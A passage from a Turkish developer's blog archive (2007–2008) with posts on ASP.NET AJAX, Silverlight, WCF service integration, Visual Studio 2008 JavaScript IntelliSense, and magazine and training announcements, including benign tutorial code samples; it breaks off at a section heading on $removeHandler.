Bugün Microsoft İstanbul ofislerinde bir başka iş ortakları eğitimini daha bitirdik. Silverlight, WPF ve AJAX konularına değindiğim eğitimde yaptığım bazı demoların kodlarını aşağıda hem blog okuyucularım hem de eğitime katılan öğrencilerimle paylaşıyorum. Peki neden bazılarını? :)

Örnekleri kendime saklama gibi bir çekincem yok, bende örnek bol :) Her gün bir yenisini müşterilere yapıyoruz zaten. Genelde kodları bloga koyamıyor olmamın nedeni tüm örnekleri eğitimlerimde sürekli sıfırdan yapıyor olmam. Bugüne kadar hiçbir eğitimime hazır kod ile veya örnek ile girmedim ve bu durum hiçbir zaman da "hazırlıksız gelmiş" olma gibi bir sıkıntı yaratmadı. Şükür ki eğitimini verdiğim her şeyi zaten her gün 24 saat kullanıyorum :) Durum böyle olunca örnek oluşturma sorunu da olmuyor. Diğer yandan örnekleri canlı canlı yapıyor olmanın bir diğer avantajı da olası "hatalarla" öğrencilerle beraber karşılaşıyor olup, çözebiliyor olmak. Böylece belki de "eve giden öğrencinin karşılaşacağı ilk hatayı" biz çoktan sınıfta işlemiş oluyoruz :)

Sonuçta sınıfta yapılan demoların kodları çoğu zaman "zaman kaybetmemek" adına sadece konsepti gösteren örnekler oluyor. Örneğin bir WPF eğitiminde SQL'den data çekmeyle uğraşmak yerine doğrudan dummy data yaratabiliyorum kod ile. Zaten katılımcılar da SQL'den data çekmeyi zaten biliyor :) Bunun gibi sadece bahsi geçen eğitimin katılımcılarına özel olarak eksikler içeren örnekleri buradan paylaşmayı doğru bulmuyorum.

Neyse, yine çok uzattım. Şimdilik paylaşabileceğim örnek kodlar aşağıda ;)

Silverlight ve WPF Örnek Kodları - 07022008_2.rar (138,72 KB)

Eğitime katılan herkese ve özellikle eğitim sonundaki pozitif olduğu kadar da samimi yorumlara çok teşekkürler.

Thursday, February 07, 2008 8:30:53 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Silverlight | WPF  | 
 Monday, February 04, 2008

PCnet'in Şubat sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak istiyorum :) Derginin OKUL bölümünde AJAX, ASP.NET 3.5, Expression Blend ve Silverlight ile ilgili yazılarım yer alıyor.

AJAX : Zaman doluyor, AJAX istekleri yolda.
Expression Blend : WPF Uygulamalarında internette
Silverlight: Silverlight ve JavaScript
ASP.NET 3.5 : ASp.NET 3.5 ve LINQ2SQL

Tüm bu yazılara ek olarak Şubat sayısına özel ".NET Framework 3.5'in Yıldızı: LINQ" makalem de OKUL bölümünde yer alıyor :)

Hepinize kolay gelsin.

Monday, February 04, 2008 12:41:34 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | Expression Blend | LINQ | Silverlight  | 
 Friday, February 01, 2008

Artık hali hazırda ASP.NET AJAX kitabımın stokları tek haneli rakamlara düştüğüne göre :) rahatlıkla yenisinin (2. baskı değil) yolda olduğuna dair bilgileri sızdırabilirim. Tabi "yolda" derken bugün veya yarından bahsetmiyoruz :) Her neyse, sözün özü şudur ki; şu anki ASP.NET AJAX kitabımda AJAX web siteleri ile ilgili örnek olarak yabancı bir web sitesi yer alıyordu. Artık gönlüm ister ki yerli web sitelerini örnek verelim. O nedenle ister site sahiplerinden, ister ziyaretçilerinden AJAX konusunda uygulamalarıyla dikkati çeken web sitelerini bu yazıma yorum olarak göndermelerini rica ediyorum.

Asgari bencillikle :) örnek olabileceğini düşündüğüm, beğendiğim siteleri yeni kitabıma taşıyor olacağım. Tabi ki en önemli kriter söz konusu sitenin "yerli malı, yurdun malı" olması.

Friday, February 01, 2008 3:33:59 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Friday, January 25, 2008

Visual Studio 2008 ile beraber JavaScript Intellisense geldiğinden her yerde bahsediliyor ama kimse bunun nasıl kullanılacağından bahsetmiyor gibime geldi :) Herkes sadece Ctrl+Space ile gelen bir Intellisense'den ötesi yokmuş gibi davranıyor oysa çok daha ötesi var.

Varsayalım ki birden çok JavaScript dosyasının bulunduğu bir projede çalışıyorsunuz ve iki numaralı JavaScript dosyası içerisinde çalışırken "keşke bir numaralı dosyadaki metodlar Intellisense de gözükseydi!" dediniz. İşte size çözüm;

Import JavaScript Intellisense
Import JavaScript Intellisense

İsterseniz hazırlamış olduğunuz JavaScript sınıfları, metodları başka bir yazılım geliştirici tarafından kullanılacaksa Intellisense üzerinde gözükecek şekilde açıklama satırlarını kaynak kodunuza da yerleştirebilirsiniz.

Metod açıklaması tooltip içerisinde.
Metod açıklaması tooltip içerisinde.

Yukarıdaki şekilde herhangi bir JavaScript metodu içerisinde XML yazımı ile gerekli açıklamaları yerleştirirseniz Visual Studio 2008 otomatik olarak bu açıklamaları Intellisense ile beraber gelen ipuçlarında gösterecektir.

Metod parametrelerine dair ipuçları.
Metod parametrelerine dair ipuçları.

Hepinize kolay gelsin.

Friday, January 25, 2008 11:52:08 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Silverlight | Visual Studio 2008  | 
 Thursday, January 03, 2008

PCnet'in Ocak sayısındaki yazılarımı her ay olduğu gibi yine buradan sizlere duyurmak istiyorum :) Derginin OKUL bölümünde AJAX, ASP.NET 3.5, Expression Blend, Expression Design, Silverlight ve Expression Web ile ilgili yazılarım yer alıyor.

AJAX : UpdateProgress ile asenkron yüklemelerin takibi
Expression Blend : Animasyonlar ve Tetikleyiciler
Expression Web: Expression Web ile Veri Oyunları
Expression Design : Vektörel Çizim Araçları

Tüm bu yazılara ek olarak Ocak sayısına özel sürpriz makalelerim :)

FaceBook uygulamanızı geliştirin ! : ASP.NET bilgisiyle kolay yoldan FaceBook uygulamaları geliştirmenin yollarını inceliyoruz.
Visual Studio 2008 Bilgisayarlarımızda! : Visual Studio 2008 ve ücretsiz Express sürümleri bilgisayarlarımıza girdi. Peki yeni neler geldi?

Hepsi PCnet Ocak sayısında! :)

Hepinize kolay gelsin.

Thursday, January 03, 2008 12:19:14 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | Expression Blend | Expression Design | Expression Web | Silverlight | Visual Studio 2008  | 
 Thursday, December 20, 2007

Visual Studio 2008 ve ASP.NET3.5 ile beraber AJAX Extensions'ın artık dahili olduğundan daha önceki yazılarımda bahsetmiştim. Diğer yandan Visual Studio 2008'in Multi-Targeting özelliği sayesinde ASP.NET 2.0 sitelerini de Visual Studio 2008 içerisinde hazırlama şansımız var. Tüm bunları yan yana koyduğumuzda akla şu soru geliyor "ASP.NET 2.0 ile AJAX Extension kullanacağımız bir site yaratabilir miyiz?" Eskiden Visual Studio 2005 ile yarattığınız AJAX Enabled Web Site'ları Visual Studio 2008 ile açarak düzenleyebiliyorsunuz fakat maalesef Visual Studio 2008 içerisinde .NET Framework 2.0 ile beraber ASP.NET 2.0 ile AJAX Extensions 1.0 destekli siteler yaratmak için gerekli proje şablonları gelmiyor.

O nedenle yukarıda bahsettiğim özelliği Visual Studio 2008'e entegre etmek amacıyla ASP.NET 2.0 AJAX Exntensions proje şablonlarının yükleme paketi ayrı olarak Microsoft tarafından duyuruldu. Hemen aşağıdaki adresten indirerek bilgisayarınıza yükleyebilirsiniz. Tabi bunun öncesinde bilgisayarınızda Visual Studio 2008 ve AJAX Extensions 1.0 sürümünün yüklü olduğunu varsayıyorum.

http://www.microsoft.com/downloads/details.aspx?FamilyID=5c7df430-1c34-40d2-b6ec-81353b5fcf2e&displaylang=en

Yüklemeyi tamamladıktan sonra Visual Studio 2008 içerisinde .NET Framework 2.0'ı seçtiğinizde aşağıdaki şekilde proje şablonları arasında "AJAX 1.0-Enabled ASP.NET 2.0 Web Site" da seçebileceksiniz.

AJAX Extensions 1.0 destekli ASP.NET 2.0 proje şablonu Visual Studio 2008 içerisinde.
AJAX Extensions 1.0 destekli ASP.NET 2.0 proje şablonu Visual Studio 2008 içerisinde.

Hepinize kolay gelsin.

Thursday, December 20, 2007 12:41:14 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Visual Studio 2008  | 
 Wednesday, December 19, 2007
 Wednesday, December 05, 2007

PCnet'in Aralık sayısı yine dopdolu :) Derginin OKUL bölümünde AJAX, Silverlight, Expression Web, Expression Blend, Expression Media ve Expression Design ile ilgili yazılarım yer alıyor. Ayrıca Aralık sayısından itibaren dünyada ilk defa :) ASP.NET 3.5 bölümü PCnet'te!

ASP.NET 3.5 : ASP.NET 3.5 Geliyor!
AJAX
: UpdatePanel uzmanlığı
Silverlight : Kolay Yoldan Silverlight Animasyonları
Expression Blend : MediaElement ile Video Sihirleri
Expression Web: Expression Web ile yolculuğa devam
Expression Design : İlk Windows Programımızı Tasarlayalım
Expression Media : Mültimedya Dosya Yönetimi

Tüm bu yazılara ek olarak Aralık sayısına özel sürpriz makalem :)

Yeni nesil MashUP uygulamaları : MashUp uygulamaları hazırlamanın zevki Microsoft Popfly ile kat kat arttı.

Hepsi PCnet Aralık sayısında! :)

Daha fazlasını mı istiyorsunuz? PCnet ile beraber Expression Studio paketinden Blend, Web, Design, Encoder, Media'nın deneme sürümleri de DVD olarak geliyor.

Hepinize kolay gelsin.

Wednesday, December 05, 2007 4:51:05 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET 3.5 | Expression Blend | Expression Design | Expression Media | Expression Studio | Expression Web | Silverlight | Visual Studio 2008  | 
 Saturday, December 01, 2007

ASP.NET 3.5'in gelmesi ile beraber yavaş yavaş yeni AJAX uygulamalarımızı da bu yeni platforma taşımamız gerekiyor. Çoğunuzun Visual Studio 2008'e ait Express sürümlerini hemen bilgisayarlarınıza indirdiğinizden eminim. Bu yazımda bahsetmek istediğim nokta WCF servisleri ile ASP.NET AJAX entegrasyonu. Aslında bildiğimiz üzere WCF hiç de yeni bir teknoloji değil. .NET Framework 3.0 ile uzun süredir hayatımızda olan WCF maalesef gerekli yazılımcı araçlarının zayıflığı nedeniyle pek tercih edilmiyordu. Benim de aslında şu ana kadar bu konuda yazı yazmamamın en önemli nedeni işin gerçekten zor olmasıydı, neyse "bekleyen derviş" misali sonunda Visual Studio 2008 ile yine her şey gerekli kolaylığa kavuştu.

Ben bu yazımda Visual Web Developer 2008 Express Edition kullanacağım. Yazılımı hemen ücretsiz olarak aşağıdaki adresten bilgisayarınıza indirebilirsiniz.

http://www.microsoft.com/express/download/

Visual Web Developer 2008 ile yeni bir web sitesi yarattıktan sonra eklenen ilk default.aspx dosyasına bir ScriptManager yerleştiriyoruz. Böylece artık söz konusu sayfa ASP.NET AJAX destekli bir sayfa oluyor. Malum, artık AJAX özellikleri ASP.NET 3.5 ile beraber zaten dahili olarak geliyor ve herhangi bir ek ayar veya yükleme gerektirmiyor. Sayfamızı bu hali ile bıraktıktan sonra hemen projemize bir WCF servisi ekleyelim. Bunun için "Solution Explorer" içerisinde projeye sağ tuş ile tıklayarak gelen menüden "Add new Item" dedikten sonra "AJAX-Enabled WCF Service" seçeneğini seçmemiz gerekiyor.

Projemize yeni bir WCF servisi ekliyoruz.
Projemize yeni bir WCF servisi ekliyoruz.

Projemize yukarıdaki şekli ile bir WCF servisi eklediğimizde VWD (Visual Web Developer) bizim için gerekli WCF end-point ayarlarını Web.Config içerisinde otomatik olarak yapmakla birlikte AJAX ile kullanabilmemiz için servisin gerekli JavaScript arayüzlerini de yaratmasını sağlıyor. Web.Config içerisine baktığımızda aşağıdaki ek düzenlemeleri görüyoruz.

<system.serviceModel>

  <behaviors>

    <endpointBehaviors>

      <behavior name="ServiceAspNetAjaxBehavior">

        <enableWebScript />

      </behavior>

    </endpointBehaviors>

  </behaviors>

  <serviceHostingEnvironment aspNetCompatibilityEnabled="true" />

  <services>

    <service name="Service">

      <endpoint address="" behaviorConfiguration="ServiceAspNetAjaxBehavior"

      binding="webHttpBinding" contract="Service" />

    </service>

  </services>

</system.serviceModel>

Gelin şimdi de yeni yaratmış olduğumuz ve benim örneğimde adını service.svc verdiğim WCF servisimizin kodların bir bakalım.

Imports System.ServiceModel

Imports System.ServiceModel.Activation

Imports System.ServiceModel.Web

 

<ServiceContract(Namespace:="")> _

<AspNetCompatibilityRequirements(RequirementsMode:=AspNetCompatibilityRequirementsMode.Allowed)> _

Public Class Service

 

    <OperationContract()> _

    Public Function Topla(ByVal Sayi1 As Integer, ByVal Sayi2 As Integer) As Integer

        Return Sayi1 + Sayi2

    End Function

 

End Class

Aslında yukarıdaki kodun büyük bölümü VWD tarafından zaten otomatik olarak yerleştirilmişti. Benim tek yaptığım kendi Function'ımı yazmak oldu. Test amacıyla iki parametre alarak bunları toplayıp geri döndüren bir Function hazırladım. Bu noktada özellikle dikkat etmemiz gereken nokta bu Function'ların <OperationContract()> _ şeklinde işaretlenmiş olmasının gerektiği. Artık web servisim bittiğine göre sıra geldi default.aspx'e dönerek gerekli JavaScript kodlarını yazmaya.

İlk olarak web servisim tarafından toplanacak iki sayıyı kullanıcıdan almak üzere iki adet HTML kutusunu ve toplama işlemini tetikleyecek olan HTML düğmesini sayfama yerleştiriyorum. Sonrasında da ScriptManager'a ServiceReference olarak WCF servisimi tanıtıyorum.

    <form id="form1" runat="server">

    <asp:ScriptManager ID="ScriptManager1" runat="server">

        <Services>

            <asp:ServiceReference Path="service.svc" />

        </Services>

    </asp:ScriptManager>

    <input id="Sayi1" type="text" />

    <input id="Sayi2" type="text" />

    <input onclick="Baslat()" id="Button1" type="button" value="button" />

    </form>

Yukarıdaki kodu incelerseniz HTML Button nesnesinin Baslat adında bir JavaScript fonksiyonunu tetiklediğini görebilirsiniz. Sıra geldi bu JavaScript fonksiyonlarını yazarak web servisindeki kodumuzu asenkron olarak kullanmaya.

Visual Web Developer 2008 ile beraber gelen JavaScript Intellisense.
Visual Web Developer 2008 ile beraber gelen JavaScript Intellisense

Baslat adını verdiğim JavaScript fonksiyonumu yazarken aynen eskiden ASP.NET AJAX Extension içerisinde Web Servisilerini kullandığımız gibi WCF servisinin de sınıf ismi üzerinden tüm yazdığımız metotlara ulaşabiliyoruz. Daha da güzeli tüm bunlar tamamen Intellisense desteği ile geliyor :) Kodumuzu tamamladığımızda sayfanın tamamının kodu aşağıdaki şekilde sonlanıyor.

<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

 

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

    <title>Untitled Page</title>

    <script type="text/javascript">

    function Baslat()

    {

        Service.Topla($get("Sayi1").value, $get("Sayi2").value,Tamamlandi);

    }

    function Tamamlandi(Data)

    {

        alert(Data.toString());

    }

    </script>

</head>

<body>

    <form id="form1" runat="server">

    <asp:ScriptManager ID="ScriptManager1" runat="server">

        <Services>

            <asp:ServiceReference Path="service.svc" />

        </Services>

    </asp:ScriptManager>

    <input id="Sayi1" type="text" />

    <input id="Sayi2" type="text" />

    <input onclick="Baslat()" id="Button1" type="button" value="button" />

    </form>

</body>

</html>

Baslat JavaScript fonksiyonunda $get AJAX Extension kısayol metodları ile sayfadaki Sayi1 ve Sayi2 adındaki HTML elementlerini yakalayarak içlerindeki değerleri AJAX ile asenkron olarak web servisime gönderiyorum. Gelen sonuç Tamamlandi metoduma parametre olarak geliyor ve ben de bir JavaScript mesaj kutusu ile bunu kullanıcıya gösteriyorum.

Sonuç

Görüldüğü üzere eski web servislerini kullanmak ile WCF servislerini kullanma noktasında artık pek bir fark kalmamış durumda. O nedenle "Yaşasın WCF" :)  sloganı ile hepinize kolay gelsin diyorum :)

Saturday, December 01, 2007 11:17:28 AM (GTB Standard Time, UTC+02:00)  #    Comments [4]   AJAX | WCF  | 
 Thursday, November 15, 2007

Visual Studio 2008'e adım adım yaklaştığımız şu günlerde belki de biraz geç bir yazı yazıyorum. İster AJAX ister Silverlight uygulamalarında olsun artık JavaScript kodu yazmayan veya yazamayan bir "web developer" şu an düşünülemez. Bu noktada daha önceki yazılarımda da bahsettiğim üzere Intellisense desteği VS 2008 ile beraber geliyor fakat VS2008'in resmi lansmanı Şubat'ta yapılacak. Daha acil bir çözüme ihtiyaç duyanlara ücretsiz bir alternatif tavsiyesinde bulunacağım.

Aptana Community Edition!

Aptana'nın aslında ücretli olan bir sürümü var. Ama biz sadece JavaScript editörü olarak kullanacağımız için bize ücretsiz olan Community Edition yeter de artar bile. Programı hemen aşağıdaki adresten indirebilirsiniz.

http://www.aptana.com/download/#windows

Aptana içerisindeki zengin JavaScript Intellisense desteği.
Aptana içerisindeki zengin JavaScript Intellisense desteği.

Aptana sayesinde artık sadece bir noktalı virgül eksiği yüzünden çalışmayan JavaScript dosyalarınıza saatlerce bakıp da hatayı bulamama durumundan kurtulabilirsiniz. Ayrıca Intellisense desteği ciddi kolaylık sağlıyor. Yukarıdaki ekran görüntüsünde de görebileceğiniz üzere Cross-Browser JavaScript kodu yazabilmeniz için tüm JavaScript sınıf ve metodlarının hangi tarayıcılar ile uyumlu olduğuna ait bilgiler de direk Intellisense ile beraber ekrana geliyor. Sıkıştığınız durumlarda gerçekten yardımcı olabilecek bir araç olarak bilgisayarlarınızda kurulu bulundurmanızda fayda var.

Thursday, November 15, 2007 1:12:37 AM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX | JavaScript | Silverlight  | 
 Monday, November 12, 2007

Bugün Pusula Yayıncılık ile yaptığım görüşmede kitabımla ilgili stokların tükenmeye yaklaştığını öğrenerek sevindim. Kitabın özellikle ASP.NET'i bilenlere hitap ettiğini ve yayınlandığı Haziran'dan bu yana 4 ay geçtiğini düşünürsek ortalamanın üzerinde bir satış olması güzel.

Kitabımı alıp inceleme şansını yakalayanlardan bir ricam var :) "Bu kitapta şu da olsa muhteşem olurdu." dediğiniz konuları, yazılımları veya her tür düşünce, yorumlarınızı bana iletmenizi rica ediyorum. Katkılarınız benim için çok değerli. İster buraya yorum olarak atın ister mail atın, fark etmez. Olumlu, olumsuz herşeyi bekliyorum.

Bu arada hala kitabı almadıysanız tükenmeden bir tane alın :)

Monday, November 12, 2007 8:12:01 PM (GTB Standard Time, UTC+02:00)  #    Comments [4]   AJAX  | 
 Monday, November 05, 2007

.NET Framework sürümleri arasında farklar zaten hali hazırda karıştırılırken bir de üzerinde .NET Framework 3.5 gelecekken aşağıdaki görseli birazdan bahsedeceğim bir Microsoft posterinde yakaladım. Bence herşeyi açıklıyor.

.NET Framework sürümleriyle gelen yeni özellikler.
.NET Framework sürümleriyle gelen yeni özellikler.

.NET Framework 3.0 ile beraber zaten tanıdığımız 2.0 sürümüne WPF, WCF, WF ve CardSpace eklendi. Önümüzde bizi bekleyen 3.5 sürümü de tüm bunların üzerinde LINQ, AJAX ve REST ile beraber geliyor. Bu konularda zaten daha önce makaleler yazmıştım.

Son olarak yukarıdaki görseli bulduğum Microsoft posterini de sizlerle paylaşmak istiyorum. Aşağıdaki adresten indirebileceğiniz posterde .NET Framework 3.5 ile beraber sıkça kullanılması olası NameSpace'lerin bir listesi ve hangi NameSpace'in hangi platformda desteklendiğine dair bilgiler bulunuyor. Eğer olanağınız varsa bir dijital baskı merkezinden 50*70cm bastırarak duvarınızı süsleyebilirsiniz :)

http://download.microsoft.com/download/4/a/3/4a3c7c55-84ab-4588-84a4-f96424a7d82d/NET35_Namespaces_Poster_LORES.pdf

Monday, November 05, 2007 12:10:33 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | LINQ | Visual Studio 2008 | .NET Framework 3.5  | 
 Sunday, November 04, 2007

Gelişim Platformu ve MayaSoft Bilişim Akademisi işbirliğinde bir organizasyon ile yeni bir ASP.NET AJAX eğitimi düzenliyoruz.

Eğitim 19 Kasım - 5 Aralık tarihleri arasında Pazartesi, Çarşamba ve Cuma akşamları 19.00 ile 22.00 arasında gerçekleşecek. Sanırım hem öğrenciler hem de çalışanlar için zamanlama açısından çok uygun olacaktır. Eğitimle beraber ASP.NET AJAX kitabım da veriliyor olacak. Eğitim içeriğinden ve konularından bahsetmeyeceğim, direk GP sitesinden bakabilirsiniz. Benim söyleyebileceğim tek şey ASP.NET ve AJAX ile ilgili her şeyi inceleyeceğimiz bir kampa girecek olacağımız. Kayıt için yine GP sitesinden ilerlemeniz gerekecek.

Görüşmek üzere ;)

Sunday, November 04, 2007 6:03:38 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Eğitimler | Haberler  | 
 Saturday, November 03, 2007

Yepyeni bir webiner ile tekrar karşınızdayım :) 7 Kasım Çarşamba günü saat 15:15-16.00 arası Silverlight uygulamaları ile ASP.NET 2.0 ve ASP.NET AJAX Extension kullanımına değineceğiz. İstemci tarafında Silverlight ile ASP.NET AJAX Extension entegrasyonu sağlayarak sunucu tarafında herhangi bir veritabanından asenkron olarak veri çekerek yine Silverlight tarafında verimizi kullanacağız.

Meeting ID: 3KJ7K7
Webiner Bağlantısı : https://www112.livemeeting.com/cc/microsoft/join?id=3KJ7K7&role=attend&pw=x4G%40Ncxxd
Webinere kayıt olmak için tıklayınız.

Bu webiner Microsoft Kurumsal Webiner serisinden olduğu için yukarıdaki linkten giriş yaparak kayıt olmanız gerekiyor.

Saturday, November 03, 2007 6:16:24 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | Silverlight | Webiner  | 
 Thursday, November 01, 2007

PCnet'in Kasım sayısında yepyeni yazılarımla yine karşınızdayım :) Derginin OKUL bölümünü genişlettik, artık AJAX, Silverlight, Expression Web, Expression Blend ve Expression Design ile ilgili yazıyor olacağım. Dünyada ilk defa bir dergide Silverlight Eğitim içeriğine yer veriliyor. Kasım sayısındaki yazılarımın başlıkları aşağıdaki şekilde;

AJAX : UpdatePanel Mucizesi
Silverlight : Expression Encoder ve Silverlight
Expression Blend : Windows Uygulamarında Animasyonlar
Expression Web: Güle Güle Frontpage
Expression Design : Vektörel Tasarım ve XAML Tek Merkezde

Tüm bu yazılara ek olarak Kasım sayısına özel bir sürpriz makale daha var :)

Flash VS Silverlight

Tahmin ettiğiniz gibi Flash ve Silverlight arasında çetin bir karşılaştırma yazısından bahsediyorum. Hepsi PCnet Kasım sayısında! :)

Thursday, November 01, 2007 12:12:06 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX | Expression Blend | Expression Design | Expression Studio | Haberler | Silverlight  | 
 Friday, October 05, 2007

İşim gereği hayattım internette geçiyor, nitekim artık çoğumuzun hayatı internette geçiyor, fakat takip edecek o kadar çok kaynak var ki gerçekten zaman ayırmak güç. Ben hazır bu zamanı ayırmışken karşılaştığım güzel makalelerin bir kısmını sizlerle de paylaşmaya karar verdim. Belki haftalık, belki aylık veya büyük ihtimal ile belirsiz aralıklarla :) bu tarz derlemeler yaparak internette karşılaştığım içeriği sizlere sunuyor olacağım.

Ajax View JavaScript Instrumentation Proxy - Uğur Umutluoğlu
AJAX Uygulamalarındaki JavaScript kodlarının performans analizi ile ilgili bir aracın tanıtıldığı bu yazıyı okumanızı öneririm.

Web Sayfalarını Temel Bir Class'tan Kalıtmak - Uğur Umutluoğlu
Web sitenizin her sayfasında sürekli tekrar ettiğiniz bazı işlemleri kolay yoldan halletmenizi sağlayacak güzel bir makale.

AJAX kullandıgınız bir ASP.NET uygulamasında JS ile yeni pencere açmak - Çeliker Bahçeci
Makalede JavaScript ile PopUp açmak için ASP.NET AJAX Extension ile kullanabileceğiniz bir teknik inceleniyor.

İl - İlçe - Semt Veritabanı | SQL Server 2005 - Gökhan Bağcı
Farklı projelerde web sitenizin ziyaretçilerin ile göre ilçe, hatta semt seçtirmek isteyebilirsiniz. İşte size hazır veritabanı...

Friday, October 05, 2007 10:36:12 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | Haberler  | 
 Tuesday, October 02, 2007

İster internet üzerinden yayınlanan makalelerde olsun ister blog sitenize yollayacağınız bir ipucunda, maalesef sayfanıza HTML kodu veya herhangi bir kod yerleştirmek istediğinizde Visual Studio içerisinden alışık olduğumuz renklendirmeyi almamız pek mümkün olmuyor. Bu durumda çoğu sitede ekran görüntülerinden oluşan resimlerle dolu makaleler görüyoruz. Ben bugüne kadar bu sorunu biraz uğraştırıcı bir yöntemle çözüyordum :)

Bugünden sonra ise CopySourceAsHtml adındaki bir Visual Studio 2005 add-in uygulamasını kullanacağım. Yaptığım testlerde epey başarılı sonuçlar aldım. Uygulama direk Visual Studio içerisindeki renklendirme üzerinden HTML kodu yaratabiliyor. Programı aşağıdaki adresten indirebilirsiniz.

http://www.jtleigh.com/people/colin/software/CopySourceAsHtml/

Tuesday, October 02, 2007 7:43:28 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   .NET Framework 3.0 | AJAX | ASP.NET | CSS | HTML | JavaScript | Silverlight | Visual Basic 2005 | Visual Studio 2005  | 
 Monday, October 01, 2007

Silverlight ile çalışmalarım yoğun olarak devam ediyor. Bu kapsamda DEVELOAD bünyesinde de Silverlight konusuna eğiliyoruz. Son dört senedir aynı web sitesini kullanmanın derdi ve biraz daha sade bir arayüz arayışı ile Silverlight'ın heyecanı da birleşince sonuç Türkiye'nin ilk kurumsal Silverlight uygulaması oldu.

http://www.deveload.com adresinden inceleyebileceğiniz site Silverlight 1.0 ve ASP.NET AJAX kullanılarak programlandı. Yazılım geliştirme süresince karşılaştığımız herşey bizi o kadar memnun etti ki maalesef bir daha Adobe Flash'a dönmeyi düşünmüyoruz. Silverlight hem XML tabanlı animasyon sistemi, hem de JavaScript ile programlanabiliyor olması ile gerçekten çok daha esnek. Tabi bahsetmeden de geçemeyeceğim, ziyaret edeceğiniz site arkaplanda bir içerik yönetim sistemine de bağlı.

Siteyle ilgili yorumlarınızı heyecanla bekliyorum ;)

Monday, October 01, 2007 9:30:17 AM (GTB Standard Time, UTC+02:00)  #    Comments [7]   AJAX | Silverlight  | 
 Saturday, September 22, 2007

AJAX Control Toolkit'in yeni sürümü duyuruldu. Yeni sürüm çok sayıda hata (bug) düzeltmesi içeriyor. Projelerinde AJAX Control Toolkit kullananlara acilen sürümlerini yükseltmelerini tavsiye ederim. Aşağıdaki linkten Control Toolkit sitesine ulaşabilirsiniz.

http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=4941

Saturday, September 22, 2007 12:24:52 PM (GTB Standard Time, UTC+02:00)  #    Comments [1]   AJAX  | 
 Tuesday, September 11, 2007

ASP.NET AJAX ile beraber gelen JavaScript özelliklerine değindiğimiz yazı serisinin son yazısında JavaScript handler işlemlerine bakacağız. ASP.NET sunucu tarafındaki handler yaratmak bizim için çok kolay. Oluşturduğumuz herhangi bir Sub'ın tanımının sonuna handles yazdığımızda olası seçenekler karşımıza çıkıyor. Ayrıca otomatik olarak gerekli kodların eklenmesini de sağlayabiliyoruz. AddHandlers metodu sunucu tarafında kullandığımız metodlardan biri. JavaScript ile istemci tarafında da bu tarz işlemler yapmamız mümkün. Bir düğmenin tıklandığında hangi komutları çalıştıracağına yine istemci tarafında JavaScript ile karar verebiliyoruz. Gelin kullanabileceğimiz metodlara ufak örnekler ile bakalım.

$addHandler Metodu

Sayfa içerisindeki HTML elementlerinin farklı durumlarına handler'lar atamak için $addHandler metodunu kullanıyor olacağız. Başındaki $ işaretinden de anlaşılacağı üzere bu bir kısayol metodu. Metodun tam yolu Sys.UI.DomEvent.addHandler şeklinde. Örneğimizde bir düğmenin onclick durumunda hangi JavaScript komutunu çalıştıracağına yine başka JavaScript komutları ile karar veriyor olacağız. Bunun için bagla adındaki bir JavaScript fonksiyonu kullanacağız ve söz konusu fonksiyon sayfanın ilk açılışında çalışıyor olacak.

<%@ Page Language="VB" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<script language="javascript" type="text/javascript">
function Uyari()
{
    alert("Düğmeye basıldı");
}
function Bagla()
{
    $addHandler($get("Button1"), 'click', Uyari);
}
</script>
 
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
</head>
<body onload="Bagla();">
    <form id="form1" runat="server">
        <div>
            <asp:ScriptManager ID="ScriptManager1" runat="server">
            </asp:ScriptManager>
            <input ID="Button1" runat="server" type="button" value="button" /></div>
    </form>
</body>
</html>

Yukarıdaki örneğimizde sayfanın başında body tagına verdiğimiz onload durumunda çalışan Bagla fonksiyonu devreye giriyor. Sonrasında Bagla fonksiyonu içerisindeki kodumuz ile Button1'in click durumuna Uyari adındaki JavaScript fonksiyonumuzu aktarıyoruz. Böylece bir sonraki aşamada artık düğmeye basıldığında Uyari fonksiyonu çalışıyor olacak.

$addHandlers Metodu

Bir önceki bölümde incelediğimiz addHandler metodu ile birden çok handler eklerken kullanabileceğimiz bir diğer method da addHandlers metodu. Birden çok handlerı bir HTML elementine eklemek için tek yapmamız gereken listemizi aşağıdaki formatta hazırlayarak addHandlers metoduna aktarıyor olmak.

{click:Uyari, mouseover:Tikla, mouseout:Dugme}

Listemizi handler isimleri ve çalışacak JavaScript fonksiyonlarının isimlerinden yukarıdaki şekilde hazırladıktan sonra addHandlers metodunu aşağıdaki şekilde kullanabiliyoruz.

$addHandlers($get("Button1"), {click:Uyari, mouseover:Tikla, mouseout:Dugme});

addHandlers metoduna verdiğimiz ilk parametre handler'ları eklemek istediğimiz HTML elementinin kendisi. İkinci parametremiz için bir önceki aşamada hazırladığımız handler listemiz.

$removeHandler Metodu 

